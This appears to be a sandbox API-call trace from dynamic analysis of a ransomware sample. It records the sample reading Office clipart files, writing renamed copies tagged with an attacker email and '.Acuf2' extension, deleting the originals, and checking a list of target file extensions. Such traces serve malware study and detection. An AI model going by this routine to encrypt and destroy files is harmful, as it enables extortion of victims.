	[0272.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0272.825] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.825] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0272.826] GetLastError () returned 0x0
	[0272.826] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1210, lpOverlapped=0x0) returned 1
	[0272.838] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1220, lpOverlapped=0x0) returned 1
	[0272.839] ReadFile (in: hFile=0x388, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.839] WriteFile (in: hFile=0x35c, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.839] SetEndOfFile (hFile=0x35c) returned 1
	[0273.256] CloseHandle (hObject=0x35c) returned 1
	[0273.256] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.256] SetEndOfFile (hFile=0x388) returned 1
	[0273.258] CloseHandle (hObject=0x388) returned 1
	[0273.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf")) returned 1
	[0273.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63
	[0273.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63
	[0273.318] lstrlenW (lpString=".doc") returned 4
	[0273.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.318] lstrlenW (lpString=".docx") returned 5
	[0273.318] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0273.318] lstrlenW (lpString=".pdf") returned 4
	[0273.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.318] lstrlenW (lpString=".xls") returned 4
	[0273.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.318] lstrlenW (lpString=".xlsx") returned 5
	[0273.318] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0273.319] lstrlenW (lpString=".ppt") returned 4
	[0273.319] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63
	[0273.319] lstrlenW (lpString=".zip") returned 4
	[0273.319] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.319] lstrlenW (lpString=".rar") returned 4
	[0273.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.319] lstrlenW (lpString=".bz2") returned 4
	[0273.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.319] lstrlenW (lpString=".7z") returned 3
	[0273.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63
	[0273.319] lstrlenW (lpString=".dbf") returned 4
	[0273.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63
	[0273.319] lstrlenW (lpString=".1cd") returned 4
	[0273.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF") returned 63
	[0273.319] lstrlenW (lpString=".jpg") returned 4
	[0273.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.320] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=18728) returned 1
	[0273.320] CloseHandle (hObject=0x334) returned 1
	[0273.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 0x20
	[0273.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0273.320] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.320] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0273.320] GetLastError () returned 0x0
	[0273.320] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x4928, lpOverlapped=0x0) returned 1
	[0273.415] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x4930, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x4930, lpOverlapped=0x0) returned 1
	[0273.417] ReadFile (in: hFile=0x334, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.417] WriteFile (in: hFile=0x390, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.417] SetEndOfFile (hFile=0x390) returned 1
	[0273.417] CloseHandle (hObject=0x390) returned 1
	[0273.418] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.418] SetEndOfFile (hFile=0x334) returned 1
	[0273.420] CloseHandle (hObject=0x334) returned 1
	[0273.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105490.wmf")) returned 1
	[0273.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63
	[0273.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63
	[0273.420] lstrlenW (lpString=".doc") returned 4
	[0273.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.420] lstrlenW (lpString=".docx") returned 5
	[0273.420] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0273.420] lstrlenW (lpString=".pdf") returned 4
	[0273.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.421] lstrlenW (lpString=".xls") returned 4
	[0273.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.421] lstrlenW (lpString=".xlsx") returned 5
	[0273.421] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0273.421] lstrlenW (lpString=".ppt") returned 4
	[0273.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63
	[0273.421] lstrlenW (lpString=".zip") returned 4
	[0273.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.421] lstrlenW (lpString=".rar") returned 4
	[0273.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.421] lstrlenW (lpString=".bz2") returned 4
	[0273.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.421] lstrlenW (lpString=".7z") returned 3
	[0273.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63
	[0273.421] lstrlenW (lpString=".dbf") returned 4
	[0273.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63
	[0273.421] lstrlenW (lpString=".1cd") returned 4
	[0273.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63
	[0273.421] lstrlenW (lpString=".jpg") returned 4
	[0273.421] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0273.440] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=5472) returned 1
	[0273.440] CloseHandle (hObject=0x218) returned 1
	[0273.440] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 0x20
	[0273.474] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0273.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0273.475] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.475] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.475] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0273.475] GetLastError () returned 0x0
	[0273.475] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x1560, lpOverlapped=0x0) returned 1
	[0273.485] WriteFile (in: hFile=0x378, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x1570, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x1570, lpOverlapped=0x0) returned 1
	[0273.486] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0273.486] WriteFile (in: hFile=0x378, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0273.486] SetEndOfFile (hFile=0x378) returned 1
	[0273.486] CloseHandle (hObject=0x378) returned 1
	[0273.486] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.486] SetEndOfFile (hFile=0x36c) returned 1
	[0273.488] CloseHandle (hObject=0x36c) returned 1
	[0273.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.716] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105502.wmf")) returned 1
	[0273.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63
	[0273.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63
	[0273.956] lstrlenW (lpString=".doc") returned 4
	[0273.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.956] lstrlenW (lpString=".docx") returned 5
	[0273.956] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0273.956] lstrlenW (lpString=".pdf") returned 4
	[0273.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.956] lstrlenW (lpString=".xls") returned 4
	[0273.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.957] lstrlenW (lpString=".xlsx") returned 5
	[0273.957] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0273.957] lstrlenW (lpString=".ppt") returned 4
	[0273.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63
	[0273.957] lstrlenW (lpString=".zip") returned 4
	[0273.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.957] lstrlenW (lpString=".rar") returned 4
	[0273.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.957] lstrlenW (lpString=".bz2") returned 4
	[0273.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.957] lstrlenW (lpString=".7z") returned 3
	[0273.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63
	[0273.957] lstrlenW (lpString=".dbf") returned 4
	[0273.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63
	[0273.957] lstrlenW (lpString=".1cd") returned 4
	[0273.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105502.WMF") returned 63
	[0273.957] lstrlenW (lpString=".jpg") returned 4
	[0273.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.060] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x2c0ff1c | out: lpFileSize=0x2c0ff1c*=21548) returned 1
	[0274.072] CloseHandle (hObject=0x334) returned 1
	[0274.072] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 0x20
	[0274.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0274.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0274.163] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.163] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0274.163] GetLastError () returned 0x0
	[0274.163] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x542c, lpOverlapped=0x0) returned 1
	[0274.176] WriteFile (in: hFile=0x378, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0x5430, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0x5430, lpOverlapped=0x0) returned 1
	[0274.177] ReadFile (in: hFile=0x36c, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.177] WriteFile (in: hFile=0x378, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.178] SetEndOfFile (hFile=0x378) returned 1
	[0274.178] CloseHandle (hObject=0x378) returned 1
	[0274.178] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.178] SetEndOfFile (hFile=0x36c) returned 1
	[0274.180] CloseHandle (hObject=0x36c) returned 1
	[0274.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105588.wmf")) returned 1
	[0274.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63
	[0274.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63
	[0274.180] lstrlenW (lpString=".doc") returned 4
	[0274.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.181] lstrlenW (lpString=".docx") returned 5
	[0274.181] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0274.181] lstrlenW (lpString=".pdf") returned 4
	[0274.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.181] lstrlenW (lpString=".xls") returned 4
	[0274.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0274.181] lstrlenW (lpString=".xlsx") returned 5
	[0274.181] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0274.181] lstrlenW (lpString=".ppt") returned 4
	[0274.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0274.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63
	[0274.181] lstrlenW (lpString=".zip") returned 4
	[0274.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0274.181] lstrlenW (lpString=".rar") returned 4
	[0274.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0274.181] lstrlenW (lpString=".bz2") returned 4
	[0274.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0274.181] lstrlenW (lpString=".7z") returned 3
	[0274.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0274.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63
	[0274.181] lstrlenW (lpString=".dbf") returned 4
	[0274.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0274.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63
	[0274.181] lstrlenW (lpString=".1cd") returned 4
	[0274.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0274.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105588.WMF") returned 63
	[0274.181] lstrlenW (lpString=".jpg") returned 4
	[0274.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0274.204] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.204] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220
	[0274.204] GetLastError () returned 0x0
	[0274.204] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0xd04, lpOverlapped=0x0) returned 1
	[0274.206] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xd10, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xd10, lpOverlapped=0x0) returned 1
	[0274.206] ReadFile (in: hFile=0x374, lpBuffer=0x37f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fed4, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesRead=0x2c0fed4*=0x0, lpOverlapped=0x0) returned 1
	[0274.206] WriteFile (in: hFile=0x220, lpBuffer=0x37f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37f0020*, lpNumberOfBytesWritten=0x2c0fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0274.207] SetEndOfFile (hFile=0x220) returned 1
	[0274.207] CloseHandle (hObject=0x220) returned 1
	[0274.207] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec8 | out: lpNewFilePointer=0x0) returned 1
	[0274.207] SetEndOfFile (hFile=0x374) returned 1
	[0274.209] CloseHandle (hObject=0x374) returned 1
	[0274.209] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0274.209] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106816.wmf")) returned 1
	[0274.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63
	[0274.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106816.WMF") returned 63
	[0274.210] lstrlenW (lpString=".doc") returned 4
	[0274.210] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0274.210] lstrlenW (lpString=".docx") returned 5
	[0274.210] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0274.210] lstrlenW (lpString=".pdf") returned 4
	[0274.210] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0274.210] lstrlenW (lpString=".xls") returned 4
	[0274.210] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
